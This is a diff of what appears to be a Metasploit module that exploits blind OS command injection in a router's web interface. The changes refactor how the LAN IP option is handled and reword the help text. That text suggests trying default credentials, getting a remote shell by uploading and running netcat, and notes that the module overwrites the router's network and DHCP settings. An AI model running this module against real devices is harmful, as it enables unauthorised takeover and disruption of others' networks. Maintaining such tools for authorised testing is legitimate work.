@@ -20,13 +20,12 @@ def initialize(info = {})
20
20
of the application.
21
21
Default credentials are always a good starting point. admin/admin or admin
22
22
and blank password could be a first try.
23
- Note: This is a blind os command injection vulnerability. This means that
23
+ Note: This is a blind OS command injection vulnerability. This means that
24
24
you will not see any output of your command. Try a ping command to your
25
- local system for a first test.
25
+ local system and observe the packets with tcpdump (or equivalent) for a first test.
26
26
27
27
Hint: To get a remote shell you could upload a netcat binary and exec it.
28
- WARNING: Backup your network and dhcp configuration. We will overwrite it!
29
- Have phun
28
+ WARNING: this module will overwrite network and DHCP configuration.
30
29
} ,
31
30
'Author' => [ 'm-1-k-3' ] ,
32
31
'License' => MSF_LICENSE ,
@@ -50,13 +49,23 @@ def initialize(info = {})
50
49
OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , 'password' ] ) ,
51
50
OptString . new ( 'CMD' , [ true , 'The command to execute' , 'ping 127.0.0.1' ] ) ,
52
51
OptString . new ( 'NETMASK' , [ false , 'LAN Netmask of the router' , '255.255.255.0' ] ) ,
53
- OptAddress . new ( 'LANIP' , [ false , 'LAN IP address of the router - CHANGE THIS' , '1.1.1.1 '] ) ,
52
+ OptAddress . new ( 'LANIP' , [ false , 'LAN IP address of the router (default is RHOST) ' ] ) ,
54
53
OptString . new ( 'ROUTER_NAME' , [ false , 'Name of the router' , 'cisco' ] ) ,
55
54
OptString . new ( 'WAN_DOMAIN' , [ false , 'WAN Domain Name' , 'test' ] ) ,
56
55
OptString . new ( 'WAN_MTU' , [ false , 'WAN MTU' , '1500' ] )
57
56
] , self . class )
58
57
end
59
58
59
+ # If the user configured LANIP, use it. Otherwise, use RHOST.
60
+ # NB: This presumes a dotted quad ip address.
61
+ def lan_ip
62
+ if datastore [ 'LANIP' ] . to_s . empty?
63
+ datastore [ 'RHOST' ]
64
+ else
65
+ datastore [ 'LANIP' ]
66
+ end
67
+ end
68
+
60
69
def run
61
70
#setting up some basic variables
62
71
uri = datastore [ 'TARGETURI' ]
@@ -67,13 +76,7 @@ def run
67
76
wandomain = datastore [ 'WAN_DOMAIN' ]
68
77
wanmtu = datastore [ 'WAN_MTU' ]
69
78
70
- if datastore [ 'LANIP' ] !~ /1.1.1.1/
71
- #there is a configuration from the user so we use LANIP for the router configuration
72
- ip = datastore [ 'LANIP' ] . split ( '.' )
73
- else
74
- #no configuration from user so we use RHOST for the router configuration
75
- ip = rhost . split ( '.' )
76
- end
79
+ ip = lan_ip . split ( '.' )
77
80
78
81
if datastore [ 'PASSWORD' ] . nil?
79
82
pass = ""
0 commit comments